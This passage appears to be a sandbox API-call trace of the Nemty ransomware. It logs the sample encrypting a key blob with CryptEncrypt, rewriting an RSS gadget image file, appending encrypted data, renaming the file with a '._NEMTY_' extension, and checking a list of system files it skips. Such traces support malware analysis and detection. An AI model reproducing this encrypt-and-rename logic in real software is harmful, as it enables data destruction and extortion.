lpUsedDefaultChar=0x0) returned 11 [0145.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssLogo.gif", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rssLogo.gif", lpUsedDefaultChar=0x0) returned 11 [0145.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0145.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssLogo.gif", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0145.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssLogo.gif", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rssLogo.gif", lpUsedDefaultChar=0x0) returned 11 [0145.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssLogo.gif", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0145.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rssLogo.gif", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rssLogo.gif", lpUsedDefaultChar=0x0) returned 11 [0145.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0145.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0145.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0145.592] Sleep (dwMilliseconds=0x5) [0145.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa6d4590, dwHighDateTime=0x1d561e8)) [0145.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa6d4590, dwHighDateTime=0x1d561e8)) [0145.593] GetLastError () returned 0x5 [0145.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.593] GetLastError () returned 0x5 [0145.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0145.593] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0145.593] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0145.593] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0145.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0145.593] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="tynvtLOT2Q70e4LyZMXDDTlllF02Ds0WEhhMo8vmzWfxt8s+fY/NrvHz/YnKv/Aa\r\naKJtnE6fYc2w4aD+3Sgo/nATZaj4mp+fkCzXc8CyYs/LlFuCmeDPnzVRAf2jlmkx\r\nQgR31eEV9+JNOhMwJ8JOYCBJ21mT1v3eiwSqqprTJGUytJmZhZahpM8Qd1J02CJ8\r\n7qyN/KY0DAOSAY7fpmJ0KIbynLAel5iJ4DD9IODpghbJqzE0o3q03dZiM/yC56aL\r\nsKt5g4G7PxOKqlZN1AnaSlUaPknHSCW30fTNiEKZdC7+P6g9anYVpEw7tMgU167Q\r\nrjy5FsDbg98YmYmgVt7vDg==\r\n", pcchString=0x653e91c) returned 1 [0145.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0145.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0145.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0145.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0145.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0145.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0145.593] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssLogo.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rsslogo.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0145.594] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0145.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0145.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.603] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.613] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.613] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.678] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.678] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0145.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0145.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0145.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0145.700] CloseHandle (hObject=0xffffffff) returned 0 [0145.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0145.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0145.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0145.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0145.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0145.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0145.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0145.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0145.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0145.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0145.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssLogo.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rsslogo.gif"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\rssLogo.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\rsslogo.gif._nemty_kgobjgd_")) returned 0 [0145.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0145.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0145.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0145.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0145.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0145.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0145.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0145.701] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ec48fb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ec48fb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cee7201, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb8d, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="rss_headline_glow_docked.png", cAlternateFileName="")) returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2=".") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="..") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="...") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="windows") returned -1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="$RECYCLE.BIN") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="rsa") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="NTDETECT.COM") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="ntldr") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="MSDOS.SYS") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="IO.SYS") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="boot.ini") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="boot.ini") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="AUTOEXEC.BAT") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="ntuser.dat") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="desktop.ini") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="CONFIG.SYS") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="RECYCLER") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="BOOTSECT.BAK") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="bootmgr") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="programdata") returned 1 [0145.701] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2="appdata") returned 1 [0145.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_docked.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0145.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_docked.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss_headline_glow_docked.png", lpUsedDefaultChar=0x0) returned 28 [0145.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0145.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_docked.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0145.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_docked.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss_headline_glow_docked.png", lpUsedDefaultChar=0x0) returned 28 [0145.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0145.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0145.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_docked.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0145.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0145.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_docked.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss_headline_glow_docked.png", lpUsedDefaultChar=0x0) returned 28 [0145.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0145.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_docked.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0145.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0145.702] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss_headline_glow_docked.png", cchWideChar=28, lpMultiByteStr=0x4f9ed58, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss_headline_glow_docked.png", lpUsedDefaultChar=0x0) returned 28 [0145.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0145.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0145.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0145.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0145.702] Sleep 